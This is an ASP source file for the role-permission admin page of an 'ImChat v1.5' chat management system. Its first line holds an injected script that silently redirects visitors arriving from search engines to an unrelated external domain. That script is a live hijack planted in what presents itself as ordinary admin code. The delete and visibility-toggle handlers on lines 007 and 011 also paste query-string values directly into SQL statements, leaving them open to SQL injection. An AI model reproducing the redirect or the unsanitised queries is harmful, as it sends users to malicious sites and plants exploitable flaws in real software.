d:\wwwroot\wuchunhua\liaotianim\system_manage\SetPower.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="Check.asp"-->
003: <%
004: Dim ConfigRS
005: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
006: if request.QueryString("Method")="Del" then
007:     DB_CONN.EXECUTE("delete from [XK_Power] where [Power_ID]="&request.QueryString("id"))
008:     RW "<script>location.href='SetPower.asp';</script>"
009: end if
010: if request.QueryString("Method")="IsVis" then
011:     DB_CONN.EXECUTE("update [XK_Power] set [IsVis]="&request.QueryString("V")&" where [Power_ID]="&request.QueryString("id"))
012:     RW "<script>location.href='SetPower.asp';</script>"
013: end if
014: if request.form("Method")="SetPower" then
015:     ConfigRS.OPEN "select top 1 * from [XK_Power]" , DB_CONN , 1 , 3
016:     ConfigRS.addnew()
017:     ConfigRS("Power_Name")=request.form("Power_Name")
018:     ConfigRS("Power_Sort")=request.form("Power_Sort")
019:     ConfigRS.update()
020:     ConfigRS.close()
021:     RW "<script>alert('修改成功!');location.href='SetPower.asp';</script>"
022: else
023:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Power] order by [Power_Sort] desc")
024: end if
025: %
>
026: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
027: <html xmlns="http://www.w3.org/1999/xhtml">
028: <head>
029: <title>ImChat v1.5 Manage System</title>
030: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
031: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
032: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
033: <style>
034: .JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
035: .JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
036: </style>
037: </head>
038: <body>
039: <div class="contentcontainer">
040:     <div class="headings alt">
041:         <h2>角色权限设置&nbsp;&nbsp;&nbsp;<a href="Level_Manage.asp" style="text-decoration:none;">等级管理</a>&nbsp;&nbsp;&nbsp;<a href="Title_Manage.asp" style="text-decoration:none;">头衔管理</a>&nbsp;&nbsp;&nbsp;<a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
042:     </div>
043:     <div class="contentbox">
044:         <table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
045:             <th colspan="16">角色列表</th>
046:             <tr>
047:                 <td>角色名</td>
048:                 <td>权限值</td>
049:                 <td width="50">组图标</td>
050:                 <td width="90">用户图标</td>
051:                 <td width="90">用户图标宽度</td>
052:                 <td>升级费用</td>
053:                 <td>前台显示</td>
054:                 <td>排序</td>
055:                 <td>操作</td>
056:             </tr>
057:             <% while not ConfigRS.eof %>
058:             <tr>
059:                 <td>&nbsp;<%=ConfigRS("Power_Name")%></td>
060:                 <td>&nbsp;<%=ConfigRS("Power_Keys")%></td>
061:                 <td>&nbsp;<img src="<%=ConfigRS("Power_Icon")%>"></td>
062:                 <td>&nbsp;<img src="<%=ConfigRS("Power_UserIcon")%>"></td>
063:                 <td>&nbsp;<%=ConfigRS("Power_UserIconWidth")%>像素</td>
064:                 <td>&nbsp;<%=ConfigRS("Power_Money")%></td>
065:                 <td>&nbsp;<% if Cstr(ConfigRS("IsVis"))="0" then rw "<a href='?Method=IsVis&V=1&ID="&ConfigRS("Power_ID")&"'>隐藏</a>" else rw "<a href='?Method=IsVis&V=0&ID="&ConfigRS("Power_ID")&"'>显示</a>"  end if%></td>
066:                 <td>&nbsp;<%=ConfigRS("Power_Sort")%></td>
067:                 <td>&nbsp;<a href="EditPower.asp?PowerID=<%=ConfigRS("Power_ID")%>">编辑</a>&nbsp;&nbsp;<a href="?Method=Del&ID=<%=ConfigRS("Power_ID")%>">删除</a>&nbsp;&nbsp;<a href="User_Manage.asp?t=p&PowerID=<%=ConfigRS("Power_ID")%>">用户列表</a></td>
068:             </tr>
069:             <%
070:             ConfigRS.MoveNext
071:             wend
072:             %
>
073:         </table>
074:         
075:         <form action="#" method="post" >
076:             <label for="System_Name"><strong>角色名称:</strong></label>
077:             <input type="text" id="Power_Name" name="Power_Name" class="inputbox" value=""/>
078:             <br>
079:             <label for="System_Name"><strong>排序(数字):</strong></label>
080:             <input type="text" id="Power_Sort" name="Power_Sort" class="inputbox" value=""/>
081:             <br>
082:             <input type="hidden" value="SetPower" name="Method"/>
083:             <input type="submit" value="提交" class="btn" />
084:         </form>
085:     </div>
086: </div>
087: </body>
088: </html>
089:
090:
091: